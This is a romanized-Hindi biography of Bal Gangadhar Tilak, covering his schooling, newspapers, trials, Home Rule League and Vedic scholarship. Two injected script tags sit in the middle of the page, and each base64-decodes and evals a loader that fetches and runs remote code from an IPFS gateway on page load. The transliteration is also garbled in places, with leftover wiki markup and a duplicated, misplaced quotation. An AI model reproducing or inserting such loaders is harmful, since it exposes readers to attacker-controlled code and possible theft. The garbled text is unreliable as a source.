बाल गंगाधर तिलक

bal gangadhar tilak vishay soochi

parichay    jan sevak    svatantrata sangram    kushal lekhak    tilak aur muqadama    rajaniti mean    drishtikon    mrityu

bal gangadhar tilak
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poora nam	lokamany bal gangadhar tilak
janm	23 julaee, 1856
janm bhoomi	ratnagiri, maharashtr
mrityu	1 agast, 1920
mrityu sthan	banbee (vartaman muanbee), maharashtr
abhibhavak	shri gangadhar ramachandr tilak
nagarikata	bharatiy
parti	kaangres
shiksha	snatak, vaqalat
vidyalay	dekkan k aaulej, banbee vishvavidyalay
bhasha	hindi, sanskrit, marathi, aangrezi
jel yatra	rajadroh ka muqadame mean karavas
puraskar-upadhi	'lokamany'
vishesh yogadan	iandiyan homarool lig ki sthapana, dekkan ejukeshan sosaiti ka gathan
prasiddh vaky	"svaraj hamara janmasiddh adhikar hai aur maian ise lekar rahooanga."

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bal gangadhar tilak (aangrezi: Bal Gangadhar Tilak, janm- 23 julaee, 1856, ratnagiri, maharashtr; mrityu- 1 agast, 1920, muanbee) vidvan, ganitajn, darshanik aur ugr rashtravadi vyakti the, jinhoanne bharat ki svatantrata ki nianv rakhane mean sahayata ki. unhoanne 'iandiyan homarool lig' ki sthapana sanh 1914 ee. mean ki aur isake adhyaksh rahe tatha sanh 1916 mean muhammad ali jinna ke sath lakhanoo samajhauta kiya, jisamean azadi ke lie sangharsh mean hindoo-muslim ekata ka pravadhan tha.

jivan parichay

bal gangadhar tilak ka janm 23 julaee, sanh 1856 ee. ko bharat ke ratnagiri namak sthan par hua tha. inaka poora nam 'lokamany shri bal gangadhar tilak' tha. tilak ka janm ek susanskrit, madhyamavargiy brahman parivar mean hua tha. unake pita ka nam 'shri gangadhar ramachandr tilak' tha. shri gangadhar ramachandr tilak pahale ratnagiri mean sahayak adhyapak the aur phir poona tatha usake bad 'thane' mean sahayak upashaikshik nirikshak ho ge the. ve apane samay ke atyant lokapriy shikshak the. unhoanne 'trikonamiti' aur 'vyakaran' par pustakean likhian jo prakashit hueean. tathapi, vah apane putr ki shiksha-diksha poori karane ke lie adhik samay tak jivit nahian rahe. lokamany tilak ke pita 'shri gangadhar ramachandr tilak' ka sanh 1872 ee. mean nidhan ho gaya.

shiksha

bal gangadhar tilak apane pita ki mrityu ke bad 16 varsh ki umr mean anath ho ge. unhoanne tab bhi bina kisi vyavadhan ke apani shiksha jari rakhi aur apane pita ki mrityu ke char mahine ke aandar maitrik ki pariksha pas kar li. ve 'dekkan k aaulej' mean bharti ho ge phir unhoanne sanh 1876 ee. mean bi.e. anars ki pariksha vahian se pas ki sanh 1879 ee. mean unhoanne banbee vishvavidyalay se el.el.bi. ki pariksha pas ki aur qanoon ki padhaee karate samay unhoanne 'agarakar' se dosti kar li jo bad mean 'fargyusan k aaulej' ke priansipal ho ge. donoan dostoan ne is bat par vichar karate hue anek ratean gujarian ki ve deshavasiyoan ki seva ki kaun-si sarvottam yojana bana sakate haian. [[chitr:Elphinstone-College-Mumbai.JPG|thumb|elphianston k aaulej, muanbee|left]]aant mean unhoanne sankalp kiya ki ve kabhi sarakari naukari svikar nahian kareange tatha nee pidhi ko sasti aur achchhi shiksha pradan karane ke lie ek praivet haeeskool aur k aaulej chalaeange. unake sathi chhatr in adarshavadi batoan par unaki hansi u date the. lekin in upahasoan ya bahari kathinaiyoan ka koee asar un donoan utsahi yuvakoan par nahian hua.

sarvajanik seva

tilak ji ne skool ke bhar se svayan ko mukt karane ke bad apana adhikaansh samay sarvajanik seva mean lagane ka nishchay kiya. ab unhean tho di phurasat mili thi. isi samay l dakiyoan ke vivah ke lie sahamati ki ayu badhane ka vidheyak vaisaray ki parishad ke samane laya ja raha tha. tilak poore utsah se is vivad mean kood p de, isalie nahian ki ve samaj-sudhar ke siddhaantoan ke virodhi the, balki isalie ki ve is kshetr mean zor-jabaradasti karane ke viruddh the. sahamati ki ayu ka vidheyak, chahe isake uddeshy kitane hi prashansaniy kyoan n rahe hoan, vastav mean hindoo samaj mean sarakari hastakshep se sudhar lane ka prayas tha. at: samaj-sudhar ke kuchh kattar samarthak isake viruddh the. is vishay mean tilak ke drishtikon se poona ka samaj do bhagoan, kattarapanthi aur sudharavadiyoan mean bant gaya. donoan ke bich ki khaee ne matabhedoan evan ne jhag doan ke karan badhati gee.

vidyalay ki sthapana

usi samay inhian vicharoan ke ek bujurg vyakti 'vishnu krishna chipaloonakar' unase mile- jo 'vishnu shastri' ke nam se jane jate the. unhoanne unhian dinoan sarakari naukari se istifa de diya tha, kyoanki apane afasaroan se unaki nahian banati thi. ve is nishchay ke sath poona ae the ki vahaan ek praivet haeeskool chalaeange. ve marathi ke sarvottam gady-lekhak ke roop mean prasiddh ho chuke the. tilak aur agarakar ne unaki yojana ko janane ke bad unake sath vichar-vimarsh kiya. bad mean in tinoan ke sath ek aur vyakti shamil ho gaya- 'em.bi. namajoshi', jo asadharan buddhi aur oorja se paripoorn the. chipaloonakar aur tilak ne namajoshi ki sahayata se 2 janavari, sanh 1880 ee. ko poona mean 'nyoo ianglish skool' shuroo kiya. 'vi.es. apte' ne joon mean aur agarakar varsh ke aant mean em.e. karane ke bad us skool mean shamil ho ge. in paanch adamiyoan ne apani gatividhiyoan ko skool tak hi simit nahian rakha.

pleg ki bimari

[[chitr:Fergusson-College-Pune.jpg|thumb|fargyusan k aaulej, pune|250px]] tilak ne pleg ki bimari ke dauran deshavasiyoan ki jo seva ki, use bhi nahian bhulaya ja sakata. jaise hi poona mean pleg ke lakshan prakat hue unhoanne 'hindoo pleg aspatal' shuroo kiya aur kee dinoan tak isake lie dhan jutane ka kary kiya. jahaan poona ke adhikaansh neta nagar chho dakar bhag ge the, tilak vahian rahe. unhoanne logoan ko dilasa-bharosa dilaya. ve khoji daloan ke sath svayansevak ke roop mean ge, aspatal ka prabandh kiya, prithakkaran shivir mean ni:shulk rasoee ki vyavastha ki, aur janata ke samane a rahi kathinaiyoan ke bare mean shri reand tatha mahamahim gavarnar ko batate rahe. apane samacharapatroan mean unhoanne pleg ki samapti ke lie sarakar dvara uthae ge vibhinn qadamoan ka samarthan dridhata ke sath kiya, isi ke sath unhoanne salah di ki in upayoan ko sahanubhootipoorn aur maitripoorn dhang se lagoo kiya jae. unhoanne janata ko salah di ki vah anavashyak virodh n kare.

samachar patr ka prakashan

isake bad unhoanne do saptahik samachar patroan, marathi mean kesari aur aangrezi mean d maratha, ke madhyam se logoan ki rajanitik chetana ko jagane ka kam shuroo kiya. in samachar patroan ke zariye british shasan tatha udar rashtravadiyoan ki, jo pashchimi tarz par samajik sudharoan evan sanvaidhanik tariqe se rajanitik sudharoan ka paksh lete the, katu alochana ke lie vah vikhyat ho ge. unaka manana tha ki samajik sudhar mean janashakti kharch karane se vah svadhinata ke rajanitik sangharsh mean poori tarah nahian lag paegi. thumb|left|bharatiy dakatikat mean bal gangadhar tilak un patroan ne desi patrakarita ke kshetr mean shighr hi apana vishesh sthan bana liya. vishnu shastri chipaloonakar ne in donoan samacharapatroan ke lie do mudranalay bhi sthapit kie. chhapaee ke lie 'ary bhooshan' aur 'lalit kala' ko protsahan dene ke vaste 'chitrashala' di gee. in gatividhiyoan mean kuchh samay ke lie paanchoan vyakti poori tarah vyast ho ge. unhoanne in karyoan ko age badhaya. 'nyoo ianglish skool' ne shighr hi skooloan mean pahala sthan prapt kar liya. 'maratha' aur 'kesari' bhi dekkan ke pramukh samacharapatr ban ge.

deshapremiyoan ke is dal ko shighr hi agnipariksha mean hokar gujarana p da. kesari aur maratha mean prakashit kuchh lekhoan mean kolhapur ke tatkalin maharaja shivaji rav ke sath kie ge vyavahar ki kathor alochana ki gee thi. rajy ke tatkalin prashasak 'shri em. dablyoo. barve' ne is par maratha aur kesari ke sanpadak ke roop mean kramash: tilak aur shri agarakar ke viruddh manahani ka muqadama chala diya. kuchh samay bad in logoan ki kathinaiyaan aur badh geean kyoanki jab yah mamala vicharadhin tha, tabhi 'shri vi.ke. chipaloonakar' ka dehaant ho gaya. usake bad 'tilak' aur 'agarakar' ko doshi paya gaya. unhean char-char mahine ki sadharan qaid ki saza suna di gee.

dekkan ejukeshan sosaiti ka gathan

thumb|dekkan ejukeshan sosaiti|250px kolhapur sanbandhi muqadame se skool aur donoan samacharapatroan ki lokapriyata mean aur vriddhi huee. sabhi or se logoan ne svechchha se sahayata pradan ki. shri chipaloonakar ki mrityu ke bad tilak kafi samay tak is chhote dal ke margadarshak aur 'shri namajoshi' sakriy sadasy rahe. sanh 1884 ee. ke uttarardh mean unhoanne svayan ko qanooni astitv dene ka nishchay kiya. unhoanne is uddeshy ke lie 'dekkan ejukeshan sosaiti', poona ka gathan kiya aur ve is sosaiti ke pahale ajivan sadasy bane. shighr hi 'svargiy prophesar vi.vi. kelakar', 'prophesar dharap' aur 'prophesar em.es. gole' bhi ajivan sadasy ban ge. bad mean 'prophesar gokhale', 'prophesar bhane' aur 'prophesar patanakar' bhi ajivan sadasy bane.

phargyusan k aaulej ki sthapana

san 1885 ee. mean 'dekkan ejukeshan sosaiti' ke tatvavadhan mean 'phargyusan k aaulej' ki sthapana ki gee aur sabhi ajivan sadasyoan ne is k aaulej mean 20 varsh tak prophesar ke roop mean kam karane ki svikriti di. sosaiti ki sansthaaian shighr hi samriddh ho geean. unhoanne 'gadreva da' aur 'kabootarakhana khel ka maidan' kharid liya. sar jems fargusan ki sarakar ke vayade ke anusar bad mean l aaurd re ne sosaiti ko nanava da sauanp diya. sosaiti ne 'chaturashrriangi' ke samip k aaulej ke lie ek bhavy imarat ka nirman kiya. tathapi, skool aur k aaulej ke sath tilak ka sanbandh sanh 1890 ee. mean samapt ho gaya. ve karan jinaki vazah se ye sanbandh samapt hue, anek aur alag-alag the. vastav mean vighatan ki prakriya kafi pahale shuroo ho gee thi. 'vishnu shastri' ke jivan kal mean hi 'chitrashala' ek svatantr pratishthan ho gaya tha. [[chitr:Lal-Bal-Pal.jpg|thumb|250px|lala lajapat ray, balagangadhar tilak aur bipinachandr pal]]

tilak aur agarakar ke bich matabhed

san 1888 ee. ke dauran tilak aur agarakar ke bich samajik aur dharmik prashnoan par matabhed shuroo ho ge the. inake karan 'shri agarakar' ne 'kesari' ke sampadak pad se istifa de diya aur apane patr sudharak ka prakashan shuroo kiya. isi samay yah spasht ho gaya ki skool aur k aaulej tatha samacharapatroan ke hit ek se nahian haian. at: unaka vibhajan kar diya gaya, jisake anusar 'ary bhooshan pres' aur do samacharapatr tilak, pro. kelakar aur ech.en. gokhale ki sanpatti ban ge. pro. kelakar donoan patroan ke prabhari sanpadak bana die ge.

ajivan sadasyoan ka acharan

yah sthiti sanh 1890 ee. tak rahi aur anishchitakal tak chalati rahati, agar ne matabhedoan ke karan sanbandhoan ki darar adhik nahian badhati. ye matabhed mukhy roop se un siddhaantoan ke bare mean the, jinase ajivan sadasyoan ka acharan aur skool ka prabandh niyantrit hota tha. yah sthiti sanh 1889 ee. mean 'pro. gokhale' ke sarvajanik sabha ka sadasy banane se paida huee. tilak shuroo se hi is mat ke the ki ajivan sadasyoan ko 'jesuit padariyoan' ki tarah sada jivan bitana chahie aur apana sanpoorn samay tatha oorja adhyapan-kary mean lagani chahie. unake adhikatar sahayogi is bat se sahamat nahian the.

sosaiti se tyagapatr

tilak ke vicharoan se unake adhikatar sahayogiyoan ke sahamat n hone ke karan tilak ne navanbar, sanh 1890 ee. mean apana tyagapatr bhej kar sosaiti se apane sabhi sanbandh samapt kar liye. prophesar ke roop mean tilak atyant lokapriy the. ve ganit ke sthayi prophesar the aur bich-bich mean sanskrit tatha vijnan ke prophesar ke roop mean bhi kary karate the. maulikata aur ek-ek bat ka dhyan rakhana unaka adarsh vaky tha aur ve jo bhi vishay padhate the usamean unake chhatroan ko kabhi bhi shikayat karane ka avasar nahian milata tha. ganitajn ke roop mean unaka javab nahian tha aur ve apane chhatroan ko aksar 'dekkan k aaulej' ke 'pro. chhatre' ki yad dilate the, jo tilak ke guru bhi the.

k aaulej se istifa dene ke bad tilak ne qanoon ki kaksha shuroo ki. yah 'banbee presideansi' mean apane dhang ka pahala shaikshanik sansthan tha jo chhatroan ko haeekort aur vaqalat ki pariksha ke lie taiyar karata tha. unhoanne 'kesari' ka bhar bhi apane oopar le liya.

ekamatr malik

chitr:Blockquote-open.gif "lekhak namrata ke sath soochit karata hai ki rrigved ka rachanakal eesa ke janm se char hazar varsh pahale se kam nahian ho sakata aur hindoo paranpara ke sath isaka kal eesa ke 6000 varsh poorv hona chahie. hianduoan ko prachur kalpana-shakti, kal ganana ke bare mean kuchh bhi svikar karane ki pravritti ko dhyan mean rakh kar maianne socha ki maian pustak ke kuchh panne ulat kar use muskurahat ke sath alag rakh dooanga. lekin kuchh hi samay bad meri muskurahat gayab ho gee aur mujhe laga ki koee asadharan ghatana ho gee hai. sabase pahale maian lekhak ki is bat se prabhavit hua ki unhoanne vaidik sahity aur is vishay se sanbandhit pashchaty sahity ka ganbhir adhyayan kiya hai. shighr hi mera satahi adhyayan ganbhir adhyayan mean badal gaya. upahas ki bhavana ke sthan par maian lekhak ki batoan ka kayal hone laga. nissandeh yah pustak sahity ke kshetr mean sanasani paida karane vali hai. tilak ki khoj ke parinamoan ko samajhane mean kafi samay lagega." chitr:Blockquote-close.gif - da. bloomaphild

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pro. kelakar varsh ke aant tak 'maratha' ke sanpadak bane rahe, parantu shighr hi unhean pro. kelakar ko samacharapatr ke sath apana sanbandh poori tarah samapt kar dena p da. tab tilak donoan patroan ke sanpadak ban be. ek varsh in donoan ke bich pres aur samacharapatroan ka vibhajan ho gaya. tilak 'kesari' aur 'maratha' samacharapatroan ke ekamatr malik aur sanpadak ho ge. pro. kelakar aur shri gokhale 'ary bhooshan pres' ke malik rahe. donoan samacharapatroan ko apane janm ke bad is tarah anek utar-chadhavoan se guzarana p da. tilak dvara kesari ko sanbhalane ke bad usaki grahak sankhya mean tezi se vriddhi huee. tab isaki grahak sankhya desh ke kisi bhi any samacharapatr ki grahak sankhya se bahut adhik thi.

svatantrata sangram

naram dal ke lie tilak ke vichar

bharatiy rashtriy kaangres ke naram dal ke lie tilak ke vichar zara zyada hi ugr the. naram dal ke log chhote sudharoan ke lie sarakar ke pas vafadar pratinidhimandal bhejane mean vishvas rakhate the. tilak ka lakshy svaraj tha, chhote- mote sudhar nahian aur unhoanne kaangres ko apane ugr vicharoan ko svikar karane ke lie razi karane ka prayas kiya. is mamale par sanh 1907 ee. mean kaangres ke 'soorat adhiveshan' mean naram dal ke sath unaka sangharsh bhi hua. rashtravadi shaktiyoan mean phoot ka labh uthakar sarakar ne tilak par rajadroh aur atankavad failane ka arop lagakar unhean chhah varsh ke karavas ki saza de di aur maandale, barma, vartaman myaanmar mean nirvasit kar diya. 'maandale jel' mean tilak ne apani mahanh kriti 'bhagavadgita - rahasy' ka lekhan shuroo kiya, jo hinduoan ki sabase pavitr pustak ka mool tika hai. tilak ne bhagavadgita ke is roodhivadi sar ko kharij kar diya ki yah pustak sannyas ki shiksha deti hai; unake anusar, isase manavata ke prati ni:svarth seva ka sandesh milata hai.

iandiyan homarool lig ki sthapana

[[chitr:Indian-Homerule-Leage.jpg|thumb|iandiyan homarool lig ke samiti sadasy|left]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pratham vishvayuddh ke thik pahale sanh 1914 ee. mean riha hone par vah pun: rajaniti mean kood p de aur

'svaraj hamara janmasiddh adhikar hai aur maian ise lekar rahooanga' - bal gangadhar tilak

ke nare ke sath iandiyan homarool lig ki sthapana ki. sanh 1916 ee. mean vah phir se kaangres mean shamil ho ge tatha hianduoan aur musalamanoan ke bich hue aitihasik lakhanoo samajhaute par hastakshar kie, jo unake evan pakistan ke bhavi sansthapak muhammad ali jinna ke bich hua tha, 'iandiyan homarool lig' ke adhyaksh ke roop mean tilak sanh 1918 mean ianglaiand ge. unhoanne mahasoos kiya ki briten ki rajaniti mean 'lebar parti' ek udiyaman shakti hai, isalie unhoanne usake netaoan ke sath ghanishth sanbandh qayam kie. unaki dooradrishti sahi sabit huee. sanh 1947 ee. mean 'lebar sarakar' ne hi bharat ki svatantrata ko manzoori di. tilak pahale vyakti the, jinhoanne kaha tha ki bharatiyoan ko videshi shasan ke sath sahayog nahian karana chahie, is bat se vah barabar iankar karate rahe ki unhoanne hiansa ke prayog ko ukasaya.

smaranotsav aandolan

tilak sanh 1895 ee. mean 'shivaji smaranotsav aandolan' ke sath ju d ge. us varsh 23 aprail ke 'kesari' mean prakashit ek lekh se janata mean itana utsah jagrit hua ki rayagadh mean shivaji ki samadhi ke punarnirman ke lie tho de hi samay mean 20,000 roo. ekatr ho ge. isamean se adhikaansh paisa chhote-chhote chandoan se prapt hua tha. thumb|250px|bal gangadhar tilak usi samay se shivaji ke janmadivas aur rajyabhishek par bhi samaroh manae jane lage. jab sanh 1895 ee. ke krisamas ke dauran poona mean rashtriy kaangres ka gyarahavaan adhiveshan karane ka nishchay kiya gaya to poona ki sabhi partiyoan ne sarvasammati se tilak ko 'svagat samiti' ka sachiv banaya. is haisiyat se 'kaangres adhiveshan' ke ayojan ka sabhi kam tilak ko karana p da. unhoanne sitanbar tak kary kiya. jab is vishay par vivad ho gaya ki kya kaangres ke pandal mean samajik parishad bhi hogi to parti mean jabaradast jhag da ho gaya jisake karan tilak ne svayan ko is kam se alag kar liya. tathapi, unhoanne kaangres ki gatividhiyoan mean dilachaspi lena band nahian kiya, balki bahar rahakar kaangres adhiveshan ko saphal banane ka poora prayas kiya.

akal ka prabhav

san1896 ee. mean 'banbee presideansi' ko bhanyakar akal ka samana karana p da. tilak poori tarah rahat-karyoan mean jut ge. unhoanne akal- sanhita (phaimin kod) lagoo karane ka agrah 'banbee sarakar' se kiya. akal ka prabhav kam karane ke lie unhoanne sarakar ko anek sujhav bhi die. agar un sujhavoan ko svikar kar liya jata to logoan ki taqalifean kafi kam ho jatian. poona mean unhoanne samay se saste anaj ki dukanean kholakar akal ke karan hone vale dangoan ko roka. jab unhoanne sholapur aur ahamadanagar ke bunakaroan ki taqalifoan ke bare mean suna to ve svayan mauke par ge aur unhoanne sthaniy netaoan ke sath vichar-vimarsh karake ek yojana banaee. isake aantargat sthaniy samitiyoan ko sarakar ke sath sahayog karake is varg ke logoan ko upayukt rahat pradan karane ko kaha gaya. yah yojana vaisi hi thi, jaisi uttar pashchim praant ke uparajyapal ne svikar ki thi. durbhagyavash is vishay par banbee sarakar ke asahanubhootipoorn acharan ke karan yah yojana svikar nahian ki gee aur yahi nahian, banbee sarakar ne is tarah ki yojanaoan ko manzoori dene ki vyavastha mean sanshodhan kar diya. sarakar ki narazagi ka karan yah tha ki 'poona sarvajanik sabha', jisake pramukh neta tilak the, ne janata ko un riyasatoan se parichit karaya tha, jise qanoon ke aantargat ve pane ke adhikari the. isake alava, sabha ne sarakar adhikariyoan ko achchha nahian laga. sabha ne sarakar ko anek prativedan bheje, lekin unaka ya to sankshipt aur rookha javab mila ya koee javab mila hi nahian, aur aantat: is par poore taur par pabandi laga di gee. yah sab apratyaksh roop se tilak par dabav banane ke lie kiya gaya tha, lekin ve nirbhar hokar adhikadhik kary karate rahe.

lekhak ke roop mean

thumb|karmayog shastr -shrimadbhagavatagitarahasy tilak apana sara samay halake-phulake lekhan mean lagane vale vyakti nahian the. unhoanne ab apane khali samay ka upayog kisi achchhe kary mean lagane ka sankalp lekar use apani priy pustakoan bhagavadgita aur rrigved ke pathan-pathan mean lagaya. vedoan ke kal-nirdharan se sanbandhit apane anusandhan ke parinamasvaroop unhoanne vedoan ki prachinata par ek nibandh likha. jo ganit-jyotishiy avalokan ke pramanoan par adharit tha. unhoanne is nibandh ka saraansh iantaraneshanal kaangres aauph orieantalist ke pas bheja jo sanh 1892 ee. mean landan mean huee. agale varsh unhoanne is poore nibandh ko pustakakar mean di oriaaun ya di risarch inatu d eantikviti aauph d vedaj shirshak ke aantargat prakashit kiya. unhoanne is pustak mean oriaaun ki grik paranpara aur 'lakshatrapuanj' ke sanskrit arth 'agrayan ya agrahayan' ke bich sanbandh ko dhooandha hai. kyoanki agrahayan shabd ka arth varsh ka praranbh hai, ve is natije par pahuanchate haian ki rrigved ke sabhi srot jinamean is shabd ka sandarbh hai ya isake sath jo bhi vibhinn paranparaean ju di thian, ki rachana grik logoan ke hianduoan se prithakh hone se poorv ki gee hogi. thumb|pustak 'd arkatik hom in d vedas'|left yah vah samay raha hoga, jab varsh ka praranbh soory ke oriaaun ya mrigashira nakshatr puanj mean rahate samay arthath eesa se 4000 varsh pahale hua hoga. is pustak ki prashansa yoorop aur ameriki vidvanoan ne ki. ab yah kaha ja sakata hai ki tilak ke nishkarshoan ko lagabhag sabhi ne svikar kar liya hai. anek prachyavidoan, jaiseki - maiksamular, vebar, jekobi, aur vitane ne lekhak ki vidvata aur maulikata ko svikar kiya hai. pustak ke prakashan ke bad tilak ne kuchh samay tak prophesar maiksamular aur vebar ke sath pustak mean uthae ge kuchh bhasha-vijnaniy prashnoan par dostana patr vyavahar kiya. isake parinamasvaroop donoan paksh is bat par sahamat hue ki is vishay ke paksh aur vipaksh mean bahut kuchh kaha ja sakata hai.

tilak ki pustak ki prashansa

amerika ke pro. vitane ne sanh 1894 ee. mean apani mrityu se kuchh pahale ‘jarnal aauph di amarikan orieantal sosaiti’ mean ek lekh likh kar tilak ke siddhaantoan ki bhoori-bhoori prashansa ki thi. isi tarah 'j aaun h aaupakians yoonivarsiti' ke 'da. bloomaphild' ne ek varshikotsav mean bhashan karate hue tilak ki pustak ki prashansa in shabdoan mean ki thi-

bloomaphild ke shabdoan mean tilak ki pustak ki prashansa

‘‘pichhale do-tin mahine ke dauran atyadhik mahattv ki ek sahityik ghatana huee hai- ek aisi ghatana, jo nishchay hi anandadayak smritiyoan se adhik vijnan aur sanskriti ki duniya mean uthal-puthal macha degi. lagabhag das saptah pahale mujhe bharat se ek chhote akar ki pustak mili. usaki saj-sajja bhaddi thi aur sthaniy pres mean chhapaee ke karan usamean anek galatiyaan thian. yah pustak mujhe lekhak ne, jisase mera koee parichay nahian tha, shubhakamanaoan ke sath bheji thi. maianne lekhak ka nam kabhi bhi nahian suna tha. bal gangadhar tilak, bi.e. el.el.bi, l aau ke lekcharar aur vaqil, poona. is pustak ka prakashan shrimati radhabaee atmaram saigoon, pustak-vikreta aur prakashak, banbee ne kiya hai. pustak ka shirshak hai ‘oriaaun ya risarchej inatu d eantikviti aauph vedaz’. mere pas yah pustak mujhe isake paksh mean karane ke lie nahian bheji gee thi. maianne ise ek aisi jagah par rakh diya, jahaan se maian ise ratri-bhoj ke bad asani se utha sakooan aur kuchh prishth padhane ke bad alag rakh sakooan. dak ke jarie is tarah ki bahut-si-samagri mere pas pahuanchati rahati hai. thumb|250px|bal gangadhar tilak isaki bhoomika bahut utsahavardhak nahian thi. lekhak namrata ke sath soochit karata hai ki rrigved ka rachanakal eesa ke janm se char hazar varsh pahale se kam nahian ho sakata aur hindoo paranpara ke sath isaka kal eesa ke 6000 varsh poorv hona chahie. hianduoan ko prachur kalpana-shakti, kal ganana ke bare mean kuchh bhi svikar karane ki pravritti ko dhyan mean rakh kar maianne socha ki maian pustak ke kuchh panne ulat kar use muskurahat ke sath alag rakh dooanga. lekin kuchh hi samay bad meri muskurahat gayab ho gee aur mujhe laga ki koee asadharan ghatana ho gee hai. sabase pahale maian lekhak ki is bat se prabhavit hua ki unhoanne vaidik sahity aur is vishay se sanbandhit pashchaty sahity ka ganbhir adhyayan kiya hai. shighr hi mera satahi adhyayan ganbhir adhyayan mean badal gaya. upahas ki bhavana ke sthan par maian lekhak ki batoan ka kayal hone laga. nissandeh yah pustak sahity ke kshetr mean sanasani paida karane vali hai. tilak ki khoj ke parinamoan ko samajhane mean kafi samay lagega." agar tilak tatkal usi disha mean age badhate rahate aur un anek prashnoan ka samadhan khozate, jo unaki pustak mean anuttarit rah ge the to achchha hota, lekin l aau lekcharar aur patrakarita vyavasay ke karan unako bhashashastr aur itihas se sanbandhit prashnoan par dhyan dene ke lie paryapt samay nahian mil pata tha.

tilak aur muqadama

bapat kes

tilak sanh 1894 ee. mean ek mahattvapoorn mamale mean vyast ho ge. is mamale ke sath unake ek mitr aur 'b dauda riyasat', donoan ke vyapak hit ju de the. yah prasiddh ‘bapat kes’ tha. 'rav sahab dablyoo. es. bapat', jo bandobast vibhag ke adhyaksh the, par bhrashtachar ke anek aropoan par muqadama chalane ke lie vishesh ayog niyukt kiya gaya tha. yah kes bandobast vibhag ke viruddh ek shadyantr ka natija tha. yah shadyantr vastav mean 'british ‘p aaulitikal’ vibhag ka karanama tha. shri bapat ke muhqadame ki kuchh visheshataean thian. yah muqadama maharaj ke pith-pichhe chalaya ja raha tha. ve yoorop ke daure par the. maharaja ke shatruoan ko asha thi ki muhqadame ke dauran kuchh aisi batean prakat ki jaeangi jinase maharaj ki prashasan kshamata par chot pahuanchegi. log keval bandobast vibhag se hi naraz nahian the, balki ve kee uchch adhikariyoan se bhi naraz the. yah spasht tha ki shri bapat ko bali ka bakara banaya ja raha tha. unhean n keval apane aparadhoan ki, balki doosaroan ke aparadhoan ki bhi saza di jani thi. abhiyojan paksh ki or se mananiy 'pi.em. mehata' aur bad mean bairistar 'shri brensan' aur bachav paksh ke lie 'shri em.si. apte' aur 'shri di.e. khare' vaqil the. lekin bachav ka adhikaansh bhar tilak par tha. abhiyojan paksh ke gavahoan se ki gee jirah aur bachav paksh ke lie die ge unake akaty tark unaki mehanat aur yogyata ke jite-jagate praman haian.

paanch adhiveshan

tilak ki gatividhiyaan samakalin rajaniti mean thami nahian. ab ve 'rashtriy kaangres ki dekkan sthayi samiti' ke sachiv nahian rahe the, lekin 'banbee praantiy sammelan' ke sachiv ke roop mean unhoanne usake paanch adhiveshan ayojit kie. paanchavaan adhiveshan 'shri pi.em. mehata' ki adhyakshata mean sanh 1892 ee. mean ayojit kiya gaya aur poori tarah saphal raha.

rajadroh ka muqadama

tilak ne sankat ki gh di mean janata ko bhagy ke bharose chho d dene ke lie poona ke netaoan ki alochana ki. tilak ki gatividhiyoan ne jaldi hi unhean british sarakar ke sath takarav ki sthiti mean la kh da kiya. lekin unaki sarvajanik sevaaian unhean muqadame aur utpi dan se nahian bacha sakian. sanh 1897 ee. mean un par pahali bar rajadroh ka muqadama chalaya gaya. sarakar ne un par rajadroh ka arop lagakar unhean jel bhej diya is muqadame aur saza ke karan unhean lokamany ki upadhi mili. bharat ke vaisar aauy l aaurd karzan ne jab sanh 1905 ee. mean bangal ka vibhajan kiya, to tilak ne bangaliyoan dvara is vibhajan ko radd karane ki maang ka zoradar samarthan kiya aur british vastuoan ke bahishkar ki vaqalat ki, jo jaldi hi ek deshavyapi aandolan ban gaya. agale varsh unhoanne satyagrah ke karyakram ki rooparekha banaee, jise ne dal ka siddhaant kaha jata tha. unhean ummid thi ki isase british shasan ka sammohanakari prabhav khatm hoga aur log svatantrata prapti hetu balidan ke lie taiyar hoange. tilak dvara shuroo ki gee rajanitik gatividhiyoan, videshi vastuoan ka bahishkar aur satyagrah ko bad mean mohanadas karamachand gaandhi ne aangrezoan ke sath ahiansak asahayog aandolan mean apanaya.

tilak ko jamanat

shri reand aur lephtineant ayarst ki hatya kuchh ajnat logoan dvara 22 joon ko kar di gee. isase banbee aur poona mean, vishesh roop se 'eanglo iandiyan samuday' mean jabaradast uttejana faili. 26 julaee ko banbee sarakar ne tilak par muqadama chalane ki manjoori pradan ki aur 27 julaee ko poorvi bhashaoan ke anuvadak shri beg ne banbee ke 'chiph presideansi majistret' shri je. seandars sletar ke samane soochana rakhi. 27 julaee ki rat mean tilak ko banbee mean giraftar kar liya gaya aur doosare din unhean majistret ke samane pesh kiya gaya. isake phauran bad majistret ke samane zamanat ki arji dakhil ki gee. sarakar ne dridhata aur saphalata ke sath isaka virodh kiya.

29 tarikh ko isi tarah ki ek arji uchch nyayalay mean dakhil ki gee, jise phir se avedan karane ki anumati ke sath asvikar kar diya gaya. 2 agast ko yah kes haee kort seshan ke supard kar diya gaya aur adhyaksh nyayadhish, nyayamoorti badaruddin taiyabaji ke samane jamanat ki arji phir dakhil ki thi. zamanat ki arji ka prabal virodh edavoket janaral ne kiya lekin nyayadhish ne tilak ko zamanat de di.

muqadame ki sunavaee

